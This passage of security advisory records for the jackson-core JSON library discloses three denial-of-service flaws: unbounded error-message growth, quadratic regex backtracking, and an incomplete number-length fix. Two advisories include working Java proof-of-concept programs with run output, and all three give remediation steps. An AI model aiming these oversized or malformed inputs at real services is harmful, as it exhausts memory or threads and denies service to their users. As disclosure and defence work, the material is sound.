`src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n StringBuilder sb = new StringBuilder(matchedPart);\n while (true) {\n char c = (char) _decodeCharForError(ch);\n if (!Character.isJavaIdentifierPart(c)) {\n break;\n }\n sb.append(c);\n ch = _inputData.readUnsignedByte();\n }\n _reportError(\"Unrecognized token '\"+sb.toString()+\"': was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() \u003e= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n sb.append(\"...\");\n break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit —\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n static class RepeatingByteInputStream extends InputStream {\n private final int b;\n private long remaining;\n RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n @Override public int read() {\n if (remaining \u003c= 0) return -1;\n remaining--;\n return b;\n }\n }\n\n public static void main(String[] args) throws Exception {\n final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n + \" Java-identifier characters ('x'), then a terminating space, never completing\"\n + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n DataInputStream dataIn = new DataInputStream(raw);\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n long heapBefore = usedHeap();\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n long heapAfter = usedHeap();\n\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n + \"-character payload (unbounded)? \" + (msgLen \u003e 1_000_000));\n }\n\n System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser(raw);\n\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen \u003c 500));\n }\n }\n\n static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n }\n\n static long usedHeap() {\n Runtime rt = Runtime.getRuntime();\n System.gc();\n return rt.totalMemory() - rt.freeMemory();\n }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters ('x'), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling —\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n limit is reached — mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n `ParserMinimalBase` to prevent this class of per-implementation drift recurring.", "id": "GHSA-7hhh-6rmp-j9qf", "modified": "2026-10-01T15:30:05.552671898Z", "published": "2026-10-01T15:20:27Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89425" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1698" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-core" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -\u003e unbounded StringBuilder growth (DoS)" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.17.0" }, { "fixed": "2.18.11" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.17.0", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.4.1", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-core", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.2.1", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-core", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1" ] } ], "aliases": [ "CVE-2026-89407" ], "database_specific": { "cwe_ids": [ "CWE-1333", "CWE-400" ], "github_reviewed": true, "github_reviewed_at": "2026-10-01T15:19:21Z", "nvd_published_at": "2026-09-22T15:17:21Z", "severity": "HIGH" }, "details": "## Status\n\n**FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost\nexactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000\ncharacters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical\nHTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java`\n (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point\n `looksLikeValidNumber()` lines ~646-656)\n\n## Technical Analysis\n\n```java\nprivate final static Pattern PATTERN_FLOAT = Pattern.compile(\n \"[+-]?[0-9]*[\\\\.]?[0-9]+([eE][+-]?[0-9]+)?\");\n\nprivate final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(\n \"[+-]?[0-9]+[\\\\.]\");\n\npublic static boolean looksLikeValidNumber(final String s) {\n // ... short-circuits only for null/empty/length==1 ...\n return PATTERN_FLOAT.matcher(s).matches()\n || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();\n}\n```\n\n`PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class:\n`[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's\nbacktracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here,\nso on a non-matching input the engine must explore every possible split point between the\n`[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking\nshape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex\n(`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor\nwithout changing the asymptotic class.\n\nCritically, the length gate that applies to this specific path is\n`StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength`\n(default **1,000**) — the length ceiling the library uses everywhere else for numeric content.\nThis means inputs up to four orders of magnitude larger than the library's own numeric-length\npolicy reach this quadratic regex unmodified.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC8_NumberInputReDoS.java\njava -cp \"poc:$CP\" PoC8_NumberInputReDoS\n```\n\n## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`)\n\n```java\nimport com.fasterxml.jackson.core.io.NumberInput;\n\npublic class PoC8_NumberInputReDoS {\n\n public static void main(String[] args) {\n int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};\n long[] timesMs = new long[sizes.length];\n\n System.out.println(\"Timing NumberInput.looksLikeValidNumber(\u003cn ones\u003e + 'x') for growing n:\\n\");\n\n for (int i = 0; i \u003c sizes.length; i++) {\n int n = sizes[i];\n String s = repeat('1', n) + \"x\";\n\n if (i == 0) {\n NumberInput.looksLikeValidNumber(repeat('1', 200) + \"x\"); // warm up\n }\n\n long t0 = System.nanoTime();\n boolean result = NumberInput.looksLikeValidNumber(s);\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n timesMs[i] = elapsedMs;\n\n System.out.printf(\"n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n\", n, result, elapsedMs);\n }\n\n System.out.println(\"\\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\");\n boolean quadraticSignatureObserved = false;\n for (int i = 1; i \u003c sizes.length; i++) {\n double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];\n System.out.printf(\" n=%d -\u003e n=%d : %dms -\u003e %dms (ratio=%.2fx)%n\",\n sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);\n if (ratio \u003e= 3.0) quadraticSignatureObserved = true;\n }\n\n System.out.println(\"\\nLargest test (n=\" + sizes[sizes.length - 1] + \") took \" + timesMs[timesMs.length - 1]\n + \" ms for a single call from ONE HTTP-body-sized string.\");\n System.out.println(\"\\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) \"\n + \"governs this path, not maxNumberLength (1,000).\");\n\n if (quadraticSignatureObserved) {\n System.out.println(\"\\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent \"\n + \"with quadratic backtracking in PATTERN_FLOAT on non-matching input.\");\n }\n }\n\n static String repeat(char c, int n) {\n char[] arr = new char[n];\n java.util.Arrays.fill(arr, c);\n return new String(arr);\n }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nTiming NumberInput.looksLikeValidNumber(\u003cn ones\u003e + 'x') for growing n:\n\nn=5000 looksLikeValidNumber=false elapsed= 74 ms\nn=10000 looksLikeValidNumber=false elapsed= 306 ms\nn=20000 looksLikeValidNumber=false elapsed= 1157 ms\nn=40000 looksLikeValidNumber=false elapsed= 4655 ms\nn=80000 looksLikeValidNumber=false elapsed= 18592 ms\nn=160000 looksLikeValidNumber=false elapsed= 74393 ms\n\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\n n=5000 -\u003e n=10000 : 74ms -\u003e 306ms (ratio=4.14x)\n n=10000 -\u003e n=20000 : 306ms -\u003e 1157ms (ratio=3.78x)\n n=20000 -\u003e n=40000 : 1157ms -\u003e 4655ms (ratio=4.02x)\n n=40000 -\u003e n=80000 : 4655ms -\u003e 18592ms (ratio=3.99x)\n n=80000 -\u003e n=160000 : 18592ms -\u003e 74393ms (ratio=4.00x)\n\nLargest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.\n\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent with quadratic\nbacktracking in PATTERN_FLOAT on non-matching input.\n```\n\nThis is an unusually clean empirical result: five consecutive doublings each produced a ratio\nbetween 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within\n5% at every single measurement, leaving essentially no ambiguity about the complexity class.\nExtrapolating this measured curve, a ~1MB string (well within common request body limits) would\ntake on the order of hours for a single call.\n\n## Impact\n\nAny application that coerces a String-typed JSON field to a number (default `jackson-databind`\nbehavior) is exposed: an attacker who can submit a large numeric-looking string (up to\n`maxStringLength`'s default of 20,000,000 characters — far larger than needed given the\nmeasured curve) can pin a request-handling thread for an extended period with a single request.\nBecause the cost scales quadratically, a handful of concurrent moderately-sized requests\n(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread\npool, denying service to all users.\n\n## Remediation\n\n1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g.\n `[+-]?(?:[0-9]++(?:\\.[0-9]*+)?|\\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the\n trailing-dot case and removes the need for a second full-string scan.\n2. Better: replace the regex entirely with a single-pass hand-written character scan — the same\n file already contains exactly this pattern for `parseInt`, so the library has both the\n precedent and the code style available.\n3. Apply an independent length limit (`maxNumberLength`, not the much larger\n `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of-\n magnitude gap between the two constraints for this specific code path.\n4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its\n default, and set wall-clock timeouts on parse/coercion operations.", "id": "GHSA-p6pp-m3f8-5c89", "modified": "2026-10-01T15:30:13.452657713Z", "published": "2026-10-01T15:19:21Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-p6pp-m3f8-5c89" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89407" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/issues/1649" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1650" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1701" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/731e794f62623aa0d86ced52490166be903fbb1d" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/e7acd64cc99bd346704423dc2bfea1ab0a08ddff" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-core" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": " jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.18.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.0-RC1", "2.0.0-RC2", "2.0.0-RC3", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.7", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.3", "2.13.4", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.4.1", "2.18.5", "2.18.6", "2.18.7", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.6", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-core", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3" ] } ], "aliases": [ "CVE-2026-68494" ], "database_specific": { "cwe_ids": [ "CWE-770" ], "github_reviewed": true, "github_reviewed_at": "2026-07-21T21:58:53Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n // NOTE: must expand to ensure contents all in a single buffer (to keep\n // other parts of parsing simpler)\n outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 — `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr + negMod)\n }\n int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n if (ch \u003c INT_0) {\n if (ch == INT_PERIOD) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n if (ch \u003e INT_9) {\n if ((ch | 0x20) == INT_e) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n ++_inputPtr;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n }\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n _textBuffer.setCurrentLength(outPtr);\n return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n ++fractLen;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n if (_inputPtr \u003e= _inputEnd) {\n _textBuffer.setCurrentLength(outPtr);\n _setFractLength(fractLen); // \u003c-- VALIDATED\n return JsonToken.NOT_AVAILABLE;\n }\n ch = 